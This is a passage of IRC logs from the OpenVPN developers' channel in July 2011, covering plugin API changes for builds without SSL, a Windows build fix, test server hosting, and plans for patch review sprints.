seconds] 19:21 -!- Punkbob [~Punkbob@c-76-21-171-135.hsd1.va.comcast.net] has left #openvpn-devel [] 19:56 <+ecrist> hola 20:05 <+ecrist> ping mattock/raidz 20:05 <+ecrist> have new(er) hardware for virtualization box. 20:06 <+ecrist> going to work on getting it on the VPN. 20:17 <+ecrist> I'm running DBAN on the disks now, and should get ESXi installed tomorrow 20:18 <+ecrist> now, if a certain corporation were to donate a few $k to the community, I'd host a modern box for our use, or get my $work to commit a U or two of rackspace on our bandwidth... 20:18 <+ecrist> ;) 20:22 <+krzie> having a boss that understands the value of being in the community: priceless 20:24 <+ecrist> krzie: my boss is more than understanding of my contributions and what our company gleans from the community at large. 20:25 <+ecrist> we're not much more than typical users in regard to openvpn, my contributions on company time, aside. 20:25 <+ecrist> we run an ENTIRE company on open-source software 20:36 <+ecrist> I think quadDamage's machine will work for a while 21:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 21:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:08 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 23:15 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 23:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Wed Jul 06 2011 00:25 -!- dazo_afk is now known as dazo 01:03 -!- dazo is now known as dazo_afk 01:05 -!- dazo_afk is now known as dazo 01:34 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 01:34 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 01:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:35 < andj> dazo: I've answered your questions... Hopefully in the right way :) 01:35 <@dazo> andj: :) cool! thx! 01:37 <@dazo> I hope to get more of the docs reviewed today as well ... even though I give my ACKs here, I still want to wait for James' comments as well, before final inclusion ... he should be able to spot even better if there are things which are wrong ... even though, what I've seen so far, has been correct to my understanding 01:38 <@dazo> andj: I'm satisfied with answers .... and I learnt something new even :) Zeroisation is a proper word :) 01:41 < andj> Sorry to quote wikipedia, thought it was easiest :) 01:41 <@dazo> no problem :) 01:42 <@dazo> on a different matter ... I wonder if OpenVPN should use randomisation instead of zeroisation .... if an attacker manages to do a memory dump, it is far more difficult to find useful data when unused memory regions are not zeroed ... zeroed pages is basically saying "nothing useful here, go read another page" 01:43 <@dazo> (of course, debugging such a program is also not going to be easier ... so it should probably be a compile time switch) 01:44 < andj> it would slow things down a little too perhaps, as random data is more expensive :) 01:44 <@dazo> yeah, but that could be data based on /dev/urandom ... no need to 100% cryptological safe random data 01:45 <@dazo> s/need to/need for/ 01:45 <@cron2> careful with that... a lot of data structures *want* '0' in "not used" fields, not random data 01:46 <@dazo> fair enough 01:47 < andj> cron2: that too, since it might be a pointer 01:47 <@dazo> you need a memory manager which knows what's valid and not .... I wonder if I've read about a lib which does much of this already 05:39 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 07:02 <@dazo> cron2: seen this one? http://thread.gmane.org/gmane.network.openvpn.user/32360 07:02 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:02 <@dazo> it looks similar to another report which was discussed a while ago, but don't recall the details now 08:09 <+ecrist> morning, folks 08:09 <+ecrist> I have a new virtual host I'm building now for our testing use 08:10 <+ecrist> it is an ESXi host 08:30 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 08:34 -!- Netsplit *.net <-> *.split quits: @cron2 09:36 -!- dazo is now known as dazo_afk 09:59 * ecrist starts building management client on new VM 10:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:10 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:15 <+ecrist> morning, mattck 10:15 <+ecrist> mattock* 10:15 <+ecrist> I've got that VM machine built and racked 10:15 <+ecrist> installing a freebsd management node now for LDAP and VPN and such. 10:15 <+ecrist> what other machines are you going to want on there? 10:23 <@mattock> ok, so LDAP replica... and then we need the new test server 10:33 -!- equinox [~equinox@spaceboyz.net] has joined #openvpn-devel 10:55 <+ecrist> don't forget to change /topic in the main channel 11:02 <@mattock> ah, me IRC n00b 11:04 <@mattock> let's try what happens... 11:07 < equinox> hey guys 11:07 < equinox> i have an openvpn patch i need feedback on :) 11:07 < equinox> http://git.spaceboyz.net/equinox/vrf-tools.git/plain/patches/openvpn-2.2.1-vrf.patch?id=07c017200ce16f6a2686d2f12a3a43663e18c5e9 11:07 < equinox> applies on current git master / 2.2.1 11:08 < equinox> it adds VRF support through libvrf (which you can get from the repo that patch is hosted in) 11:15 <@raidz> http://twitter.com/#!/OpenVPN/status/88642072285941761 11:15 <@vpnHelper> Title: Twitter (at twitter.com) 11:16 <@mattock> haha, success! 11:16 <@mattock> equinox: are on the openvpn-devel mailinglist? 11:17 <@mattock> raidz: thanks! 12:17 <+ecrist> raidz: I have a VM host running 12:17 <+ecrist> mattock has creds 12:30 <@raidz> ecrist: Awesome! Did you end up going with esxi? 12:33 <+ecrist> yes 12:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:27 <@mattock> ecrist: your work, I presume: http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing 13:27 <@vpnHelper> Title: OpenVPN/Routing - Secure Computing Wiki (at www.secure-computing.net) 13:27 <@mattock> good article 13:27 * ecrist points to bottom of page 13:27 <+ecrist> Written by krzee @ ##OpenVPN @ freenode IRC 13:28 <@mattock> ah, then complements to krzee 13:29 <@raidz> bluntshank.com 13:29 <@raidz> http://bluntshank.com 13:29 <@vpnHelper> Title: shank him in the neck! (at bluntshank.com) 14:09 <@mattock> andj: I'm changing community VPN server to use your OpenVPN version 14:21 * ecrist recompiles openldap with sasl support 14:46 < cron2_> mattock: won't be able to make the meeting tomorrow 15:11 < andj> mattock: awesome, but what's the community VPN server? :) 15:18 <+ecrist> andj: for hosts on the openvpn network (forum, trac, wiki, etc) 15:18 <+ecrist> and now, the test VM host I'm setting up 15:30 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 16:10 <@raidz> Oceansize, mmmm 16:22 <@mattock> andj: did you see my mail to openvpn-devel? 16:23 <@mattock> build failure on your Git tree 16:38 -!- patel is now known as patelx 16:38 -!- patelx [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Changing host] 16:38 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 16:38 -!- mode/#openvpn-devel [+o patelx] by ChanServ 17:38 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Read error: Connection reset by peer] 17:42 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 19:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 21:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 21:36 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 21:36 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 21:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Jul 07 2011 01:15 < andj> mattock: just read your mail 01:15 < andj> ah, he's gone :) 01:15 -!- dazo_afk is now known as dazo 01:36 < andj> Hmm, seems mattock's problem is part of a wider symptom 01:37 < andj> where plugins shouldn't work when SSL is disabled 01:48 <@dazo> andj: and this reveals another challenge as well ... The plugin-v3 provides the OpenSSL X509 struct, containing an direct access to certificates from plug-ins 01:48 < andj> Yeah, I'm fixing that as we speak 01:49 <@dazo> how do you solve that? 01:49 <@dazo> does the plug-ins need to be SSL implementation aware? 01:49 < andj> By ensuring that if USE_SSL is not defined, no X509 certificates are passed 01:49 < andj> and if it is defined, the plugin would need to be implementation aware for now 01:50 <@dazo> fair enough 01:50 < andj> The other option would be to pass PEM files along 01:50 < andj> just like with scripts 01:51 <@dazo> yeah, we kind of figured that would add more processing time ... those verify calls are mostly blocking, so they should be able to process data quick ... and if you don't care, script hooks is kind of "plan B" 01:51 < andj> I've created a new function, plugin_call_ssl 01:52 < andj> which is wrapped by a static inline plugin_call function 01:52 <@dazo> hence avoiding parsing certs twice, both in OpenVPN core and in plug-ins 01:52 < andj> plugin_call does not include SSL cert information 01:52 <@dazo> aha 01:52 < andj> so most of the code isn't heavily affected 01:52 < andj> If you need to pass a cert, you can just call plugin_call_ssl 01:52 <@dazo> so plugin_call_ssl() is only called if SSL is not enabled? 01:53 < andj> always, but two of the options are ifdef'ed out 01:53 < andj> (cert and cert_depth) 01:53 <@dazo> mm 01:54 <@dazo> this can get challenging if we care about ABI compatibility though .... 01:54 < andj> True, but it's a mistake in the first place 01:54 <@dazo> that is if we also modify the parameter structs 01:54 < andj> plugins wouldn't work without SSL 01:54 < andj> in the current implementation 01:55 <@dazo> I'm thinking in the future .... if the structs are expanded with more arguments which are not SSL related ... 01:55 < andj> I'll mail the patch in a few minutes, and you can check it out 01:55 <@dazo> cool! 02:22 < andj> It's pushed: https://github.com/andj/openvpn-ssl-refactoring/commit/84916b43b6d614291ec765d93f615be30d519bbb 02:22 <@vpnHelper> Title: Commit 84916b43b6d614291ec765d93f615be30d519bbb to andj/openvpn-ssl-refactoring - GitHub (at github.com) 02:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:28 < andj> Hi mattock 02:28 < andj> I found the problem :) 02:30 <@dazo> andj: thx! I'll have a look at it soonish 02:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 02:39 <@dazo> andj: your patch really highlights now that plug-in support is not available without SSL ... 02:40 < andj> yeah, I was actually a little surprised by that :) 02:40 < andj> But it should now work without SSL 02:40 <@dazo> that's probably my mistake :-P 02:40 < andj> so perhaps we should cherry-pick it to 2.2 02:40 <@dazo> #else 02:40 <@dazo> +#error "Either USE_OPENSSL or USE_POLARSSL should be defined" 02:40 <@dazo> #endif 02:40 <@dazo> it won't pass this check ... in openvpn-plugins.h 02:41 < andj> It's only checked if USE_SSL is defined 02:41 <@dazo> ahh! true! 02:41 * dazo missed that line 02:41 < andj> Hmm, thinking about it 02:41 < andj> I'm not sure whether it's necessary 02:42 < andj> If you use the generic SSL interface 02:42 < andj> I think it's probablt safer this way 02:43 < andj> and shouldn't really impact any plugins, other than the ones that use ssl verification 02:43 <@dazo> I'm just wondering how much this complicates compiling 3rd party plug-ins 02:43 <@dazo> earlier, you just needed to include openvpn-plugin.h 02:43 < andj> which can just #define USE_OPENSSL and add a requirement for the openssl version of openvpn 02:44 < andj> dazo: earlier you needed openssl headers too though 02:44 <@dazo> true ... 02:44 < andj> even if your plugin doesn't care about openssl 02:44 <@dazo> hmm 02:45 < andj> So in that sense the patch is an improvemnt 02:45 < andj> +e 02:45 <@dazo> would it be possible to tweak this a bit further ... that if OpenSSL or PolarSSL includes are loaded *before* openvpn-plugin.h ... then it enables the SSL stuff 02:45 <@dazo> and if not, it will use void * ... as x509_cert_t * should be the same length as void * 02:46 <@dazo> (length == sizeof(), that is) 02:47 <@dazo> when SSL is not enabled ... it could even do void * __current_cert_disabled and int __certdepth_disabled 02:48 <@dazo> just to break compilation of plugins which tries to access these members without having the proper SSL includes 02:49 * dazo brb 02:50 < andj> Hmm, looking at a patch now 03:07 < andj> OK, it's up on github 03:11 <@dazo> that patch makes sense! 03:12 < andj> Yeah, I'm a lot happier with it too :) 03:12 < andj> good suggestions :p 03:12 <@dazo> ;) 03:13 < andj> and it's even user friendlier, in that it gives plugin authors a warning 03:13 <@dazo> exactly 03:15 <@dazo> andj: I'm not sure I like this coding style .... 03:15 <@dazo> + return plugin_call_ssl(pl, type, av, pr, es 03:15 <@dazo> +#ifdef USE_SSL 03:15 <@dazo> + -1, NULL 03:15 <@dazo> +#endif 03:15 <@dazo> + ); 03:15 <@dazo> I think it would be cleaner to have two return lines ... encapsulated with #ifdef's 03:15 < andj> It 03:15 < andj> 's in OpenVPN a lot 03:15 <@dazo> this particular style? 03:16 * dazo admits to not have touched that much of the openvpn code, though ... so he might not have noticed 03:17 <@dazo> OpenVPN 2.4 should probably go through a code style clean-up ...... to make the code more readable and consistent in code style 03:17 < andj> yeah, there's a lot of ifdefs in some places 03:18 < andj> which could probably be refactored to improve readability 03:18 <@dazo> yeah, esp. #ifdefs is biting us quite often 03:18 < andj> I've tried to keep things relatively clean, but it's difficult sometimes 03:19 <@dazo> I feel your pain :) 03:19 <@dazo> I would also like to increase tab width to 8 ... it makes the nesting much more visible .... and if you nest 3-4 times, you should reconsider what you're doing anyway, to improve readability 03:20 < andj> I'm a big fan of K&R style 03:20 < andj> :) 03:21 < andj> But let's not start any holy wars here :) 03:22 < andj> http://en.wikipedia.org/wiki/Indent_style#K.26R_style 03:22 <@vpnHelper> Title: Indent style - Wikipedia, the free encyclopedia (at en.wikipedia.org) 03:26 <@dazo> hehe :) 03:26 -!- raidz1 [~Administr@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 03:26 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 03:27 <@dazo> andj: I think we can find our agreements on coding style ;-) 03:27 < andj> haha 03:27 * dazo likes the Linux kernel coding style ... and it is based on a lot of the K&R style 03:28 < andj> yeah, I'm not sure there's much of a difference 03:28 <@dazo> there are minor tweaks, but not much 03:28 * dazo don't recall the exact differences 03:46 < andj> I've gotten rid of the magic numbers in ntlm.c 03:46 < andj> Or at least the ones I introduced :) 03:46 < andj> So that should be it for the basic patches 03:52 * dazo need to run out for a while ... back after lunch 03:53 < andj> enjoy :) 03:53 -!- dazo is now known as dazo_afk 03:54 < andj> + 03:54 < andj> oops 05:20 -!- dazo_afk is now known as dazo 05:43 <@dazo> w00t!??! http://v6asns.ripe.net/v/6?s=_ALL;s=_RIR_RIPE_NCC;s=NO;s=NL;s=US;s=RU;s=GB;s=DE ... what's happening in Norway!?! 05:43 <@vpnHelper> Title: IPv6 Enabled Networks (at v6asns.ripe.net) 05:52 < andj> Shame, we were winning apparently :) 06:01 <@dazo> heh 07:04 * ecrist waves 07:10 * dazo waves back 08:17 -!- dazo is now known as dazo_afk 08:33 -!- dazo_afk is now known as dazo 08:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:56 -!- dazo is now known as dazo_afk 09:26 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 09:26 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 09:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:13 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:17 -!- raidz1 is now known as raidz 11:17 -!- raidz [~Administr@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Changing host] 11:17 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:17 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 11:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:59 <@mattock> meeting starting in ~1 hour 12:00 <@mattock> topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-07-07 12:00 <@vpnHelper> Title: Topics-2011-07-07 – OpenVPN Community (at community.openvpn.net) 12:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 12:28 -!- jamesyonan [~jamesyona@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 12:28 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:40 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 12:58 -!- dazo_afk is now known as dazo 12:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:58 -!- grendal-prime [~sgraham@2001:470:822a:205:226:c7ff:fecd:a1e2] has joined #openvpn-devel 12:58 < grendal-prime> hey guys...how is it comming on ticket 97 12:59 < grendal-prime> https://community.openvpn.net/openvpn/ticket/97 12:59 <@vpnHelper> Title: #97 (OpenVPN produces DCHP NAK bomb on Win 7 64bit) – OpenVPN Community (at community.openvpn.net) 12:59 * dazo looks 12:59 * ecrist points to janjust 13:01 <@mattock> dazo: there? 13:01 <@dazo> I don't think janjust have had time to compile this special TAP driver ... as it seems to be timing related ... when enabling debug logging, everything works (logging adds a few extra ns of CPU operations) and removing debugging info introduces the issue 13:01 <@jamesyonan> hi guys 13:01 <@dazo> mattock: just arrived :) 13:01 <@mattock> hi 13:01 <@dazo> hey all :) 13:02 < andj> evening 13:02 <@mattock> topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-07-07 13:02 <@dazo> grendal-prime: I don't think we're closer to a solution yet ... unfortunately ... 13:02 <@vpnHelper> Title: Topics-2011-07-07 – OpenVPN Community (at community.openvpn.net) 13:03 * dazo gets ready for meeting 13:03 <@mattock> what if we start from the top? 13:03 <@mattock> :P 13:04 <@dazo> agreed 13:04 <@mattock> ok 13:04 <@mattock> I think the first topic is mostly for dazo... 13:04 <@dazo> I vaguely remember these inet_*to*() issues ... and we removed some stuff (#ifdef) as these functions were present in MSVC 13:04 <@mattock> any clues what is still missing? 13:05 <@mattock> yeah, me two 13:05 <@mattock> me too :) 13:05 <@dazo> I think it was cron2_ who figured out this last time 13:06 <@mattock> I think so too... it's just that I cross-checked my private Git tree (which builds) and winbuildfix branch... and saw no differences 13:06 <@dazo> wait a minute .... redefinition; different type modifiers ... that indicates that there are some conflicting function declarations 13:06 <@dazo> this is related to the mingw compatibility layer ... as mingw, iirc, doesn't have these inet_?to?() functions 13:07 <@mattock> would it help if put my private git tree somewhere for download? 13:07 <@dazo> yeah, that could help a little bit ... just to make sure we compare apples and apples 13:07 <@mattock> or, actually, I could take a diff from the offending files 13:07 <@mattock> didn't have time to do that 13:08 <@mattock> just a sec 13:08 <@mattock> dazo: how much time do you have? 13:08 <@mattock> one hour? 13:08 <@dazo> today I have a little bit more :) 13:09 <@dazo> andj: which platforms do you test your stuff on? 13:09 < andj> At the moment just Ubuntu/RedHat 13:09 <@dazo> okay 13:10 <@dazo> btw, which versions? 13:10 < andj> I haven't got a windows development machine set up at the moment 13:10 < andj> Ubuntu 10.04 and 11.04 (both 64-bit), and RHEL 6 64-bit 13:10 <@dazo> goodie 13:10 < andj> At some point in the future, I'll have a nice little build farm, but not atm 13:11 <@dazo> :) 13:11 <@dazo> well, feel free to grab mattock ... he's our build farm farmer :) 13:11 <+ecrist> if someone donates a license, I can get a copy running on ike asap... 13:11 < andj> I'm quite partial to jenkins though 13:11 < andj> :) 13:12 <@dazo> oh, true! 13:12 <@dazo> mattock: we can have a look at the winbuild stuff later today, perhaps? 13:13 <@mattock> http://pastebin.com/QnxyTv8r 13:13 <@mattock> ^^^ interesting 13:13 <@mattock> not really any difference per se 13:14 < andj> V vs. C? 13:14 <@dazo> well, that difference might explain this issue 13:14 <@mattock> andj: good catch! 13:14 <@mattock> that's it 13:14 <@dazo> as I believe _MSC_VER is the proper one 13:14 <@mattock> yeah, it is 13:14 < andj> took me three reads to see it 13:14 < andj> :) 13:14 * dazo too :) 13:14 <@mattock> that's settled, then :) 13:14 <@mattock> next topic 13:15 <@dazo> IPV6_RECVPKTINFO vs. IPV6_PKTINFO ... that's probably cron2_ or JJO stuff 13:15 <@mattock> might be 13:16 <@mattock> postpone to next meeting? 13:16 <@dazo> Need to spend some time digging into the differences between those two defines, on *BSD, OSX, Windows and Linux ... to see if we should switch or do something OSX specific 13:16 <@dazo> yeah, or discuss as soon as cron2_ shows up again ... he might know more about it 13:16 <@mattock> ok, let's do that 13:17 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/4801 13:17 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:18 < andj> I just sent out a follow-up 13:18 < andj> I accidentaly fixed that 13:18 <@dazo> this one? 13:18 < andj> in the SSL patches 13:18 <@dazo> heh ... nice! 13:18 <@mattock> "I accidentally fixed that" :D lol 13:18 <@mattock> good, that's settled 13:18 < andj> Well I noticed it, though, that's weird 13:18 < andj> But it might be a good candidate for 2.2 13:19 <@dazo> andj: want to elaborate what the fix is? 13:19 <@dazo> and can it be easily cherry-picked to 2.2? 13:19 < andj> Cherry-pick no, but the patch that Markus sent is good I think 13:19 < andj> https://github.com/andj/openvpn-ssl-refactoring/blob/master/ssl_verify.c#L586 13:19 <@vpnHelper> Title: ssl_verify.c at master from andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:20 < andj> There I call a single function that handles both extended and normal CNs 13:20 < andj> (for OpenSSL, PolarSSL backend doesn't support that kind of enumeration at the moment) 13:21 <@dazo> I'm sceptic to the x509_username_field+4, ... as I'm not sure it will always be prefixed with 'ext:' ... 13:21 < andj> usernames that is of course, not CNs 13:21 < andj> That's just a convention that openvpn added, isn't it? 13:22 <@dazo> yeah, another patch (from Markus I believe) extends the x509 username feature to take an argument, which can make use of extended attributes as well 13:22 < andj> Thing is, that code's already there, Markus' patch just fixes the fact that OpenVPN then mishandles the case where you're at error depth != 0 13:22 <@dazo> prefixed, with 'ext: 13:22 <@dazo> ' 13:22 < andj> ah, that's not in 2.2? 13:22 * andj blushes 13:23 <@dazo> I need to check the changelog, don't recall 13:23 < andj> you're right 13:23 < andj> then it's problem solved 13:24 < andj> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn.git;a=blob;f=ssl.c;h=6d9a9fd376dd8397085e96454dfdae5b622066db;hb=68deffc892173e1d003e4da1ad6811e8ba28a51e#l810 13:24 <@vpnHelper> Title: SourceForge - openvpn/openvpn.git/blob - ssl.c (at openvpn.git.sourceforge.net) 13:24 < andj> is the 2.2 part where that happens, and that doesn't include the ext: stuff 13:24 < andj> I somehow just thought it was also in 2.2, sorry 13:25 <@dazo> commit 3fa86d237721ca113fa020b7e888a1e10374a560, which adds this extra stuff is only in master 13:25 <@dazo> as far as I can tell now 13:26 < andj> In my patches the code now lives here https://github.com/andj/openvpn-ssl-refactoring/blob/master/ssl_verify_openssl.c#L192 13:26 <@vpnHelper> Title: ssl_verify_openssl.c at master from andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:26 <@dazo> ahh, yeah, that looks like this part 13:29 <@mattock> still somebody here? :P 13:29 < andj> hi :) 13:29 <@mattock> hi! 13:29 <@mattock> (deja vu) 13:29 <@dazo> where am I and why am I here? 13:29 <@dazo> ;-) 13:29 <@mattock> anyways, did we cover Markus' patch? 13:29 <@mattock> add to "master" and skip 2.2? 13:30 < andj> As long as you accept mine, then you don't need Markus' patch :) 13:30 <@dazo> yeah, this is not 2.2 stuff at all, afaics ... this feature isn't available in 2.2 13:30 < andj> indeed 13:30 < andj> sorry for the confusion 13:30 <@dazo> and we're skipping Markus' patch as andj fixed it "first" 13:31 <@mattock> ok, somebody should mention this to Markus, then 13:31 <@mattock> shall I? 13:31 < andj> sure :) 13:31 <@dazo> andj: could you? and just point him to the patch which fixes it 13:32 < andj> ok, will do 13:32 <@mattock> nice! 13:32 <@mattock> on to "status of andj's patches"? 13:33 <@dazo> I've started at least, haven't had time to complete doxygen stuff yet ... but it's a lot of good stuff so far 13:33 <@dazo> jamesyonan: have you had time to review some of them? 13:34 <@jamesyonan> I'm fine with the doxygen stuff as long as it doesn't change any functionality. 13:34 < andj> I've worked on the plugin stuff, fixing the earlier USE_SSL bug (or the lack thereof) 13:35 <@dazo> jamesyonan: so you've been through the documentation and it is accurate or precise enough? 13:36 <@jamesyonan> yes, the quality of the documentation looks very good 13:36 <@mattock> good, perhaps it can be merged to "master", then? 13:36 <@mattock> dazo? 13:36 <@dazo> okay, then I'll do the review where I focus on verifying that it doesn't change functionality 13:36 <@dazo> this will go quicker 13:37 <@dazo> mattock: when I've verified the last stuff ... yes, I'll merge it into master 13:37 <@mattock> nice! 13:37 < andj> nice! 13:37 < andj> :) 13:37 <@mattock> paves way for the next patches 13:37 <@dazo> :) 13:38 <@dazo> I'm feeling sorry for not having the needed (time) bandwidth to manage this faster ... or that more people would join in on such reviewing ... but doing our bests here :) 13:38 < andj> As long as it gets done in time for alphas I'm happy, just hope more people look at the code patches 13:39 < andj> they're easier to follow for us coders anyway :) 13:39 <@dazo> to be very honest ... I think the silence just indicates a) nobody have looked at it .... or b) nothing highly critical stands out 13:39 <@mattock> sounds about right 13:40 <@dazo> there are those who responds surprisingly quickly on crappy stuff 13:40 <@mattock> dazo: I was just about to say the same :) 13:40 < andj> I can understand that though 13:40 <@mattock> so I think people are looking at the patches, at least quickly 13:40 <@dazo> yeah 13:41 <@mattock> dazo: you did some reviewing of the remaining andj's patches, too? 13:41 <@mattock> I was wondering if (given the high number of patches) tracking their ACK/NACK status on the Wiki would make sense... 13:41 <@dazo> I've not had time for it yet, unfortunately ... well, the plug-in patches sent today or yesterday(?) looks good 13:42 <@dazo> mattock: maybe, yeah 13:42 <@mattock> I can setup such a Wiki page, if you'd like 13:42 < andj> If the mailing list approach doesn't work, could we try to go for a sprint-like session at some point? Have a look at them together, and ack/nack/immediately fix problems 13:42 <@dazo> perfect! 13:42 <@mattock> andj: sounds very good 13:42 <@dazo> andj: that makes sense 13:42 < andj> would be more interactive, and probably quicker? 13:42 <@mattock> yeah, agreed 13:43 <@mattock> especially if the issues are relatively minor 13:43 < andj> mattock: that's what I'm expecting/hoping 13:43 < andj> and if anything major comes up, we can put it aside, and continue on to the next patch regardless 13:43 <@dazo> from my count .... I think andj have provided about 100 commits .... so 100 minor changes is kind of challenging itself :) 13:43 < andj> and ack that issue later 13:44 <@dazo> agreed 13:44 <@mattock> I'm thinking that we could try using Doodle or something to arrange such sprints 13:44 <@mattock> to get maximum amount of developers involved 13:44 < andj> sounds good, could you set that up? 13:44 <@mattock> andj: I sure can 13:44 <@mattock> -> TODO 13:44 <@mattock> -> TODO 13:44 <@mattock> oops 13:45 <@dazo> btw .... jamesyonan: how is your git migration going? 13:46 <@jamesyonan> I've got the server provisioned for it, and I'm planning on starting the migration in the next week or so. 13:46 <@dazo> nice! 13:47 <@mattock> jamesyonan: what do you think about having sprints where we work on larger patchsets (such as those of andj), fixing and ACKing large number of patches at once? 13:47 <@mattock> the mailing list approach does not scale too well if there are tons of patches 13:48 < andj> It might be a good model for future refactorings towards 3.0 as well 13:48 <@dazo> yeah 13:49 < andj> Another option is something code review like, similar to gerrit (http://code.google.com/p/gerrit/) 13:49 <@vpnHelper> Title: gerrit - Gerrit Code Review - Google Project Hosting (at code.google.com) 13:49 <@mattock> we actually had some good discussions about OpenVPN 3.0 yesterday, so that's definitely moving forward sooner or later 13:49 <@jamesyonan> do you mean combining patches and testing them as a group? 13:49 <@mattock> more like group review + development 13:50 <@mattock> seeing what issues the patches have an fixing them right away 13:51 <@mattock> pretty similar to what we have now, but fixing would be "integrated" into the meeting 13:51 <@mattock> andj: correct? 13:51 <@jamesyonan> so we would be building stuff and testing during the meeting? 13:51 < andj> mattock: yeah, that's what I was think 13:51 <@mattock> jamesyonan: if necessary, yes 13:52 < andj> mostly reviewing existing patches, and bouncing feedback around rapidly 13:52 < andj> instead of having a long mailinglist discussion about every patch in turn 13:54 <@dazo> I'm in favour of this approach ... I know when we discussed earlier, someone on the ML said that it would exclude those not participating in the meetings (mostly due to time zone issues) ... but we've gone now about 1 year with this approach, and it's too slow 13:55 <@mattock> I think we should try sprints for larger and more difficult patches/patchsets 13:55 <@jamesyonan> I would tend to agree 13:55 <@dazo> yeah, definitely bigger patches ... like 5-10 patches and more 13:56 <@mattock> I think individual and relatively simple patches can be handled adequately on the ml 13:56 <@mattock> and we should definitely send a link to the patches to openvpn-devel, before the sprint 13:56 <@mattock> and a summary after the sprint, before merging them to Git 13:56 <@mattock> that way, anybody _can_ participate, if they want 13:56 <@dazo> to some degree small patches works, but I'd say if it stays on the list for a week or two without comments, sprinting it isn't bad 13:57 <@mattock> yeah, and that's actually pretty similar to what we've done so far with these meeting patch queues 13:57 <@mattock> except that we have not fixed stuff at the same time 13:57 <@dazo> yeah, exactly ... mostly due to impatience :) 13:58 < andj> Even just having a list of issues with a whole patchset would would be a good start :) 13:59 <@mattock> when should we try to arrange the first sprint? 13:59 <@mattock> next week? 14:00 < andj> I thought the doodle was a good idea, I have time next week 14:00 < andj> Just not sure when, as my work calendar is.. at work 14:00 <@dazo> I believe next week can work out for me 14:01 <@jamesyonan> same time as meeting? 14:02 <@mattock> we could try that at first, but in the future we should probably setup polls (e.g. doodle) before each sprint 14:02 <@dazo> jamesyonan: does that fit your schedule well? 14:02 < andj> If it's possible, I'd like to do it somewhere during the (european) day 14:03 < andj> As most of my development environment is at work, and I'd prefer to spend work time on this 14:03 <@mattock> the majority of community devs are in Europe, so that makes sense 14:03 <@jamesyonan> next week at this time would work for me 14:03 <@mattock> I'm also now in California, so next week + european time is pretty bad for me 14:03 <@jamesyonan> but I'm in US so European day is very early here 14:03 <@dazo> andj: yeah, unfortunately jamesyonan is in California .... and he's our lead :) 14:04 <@dazo> jamesyonan: have you ever 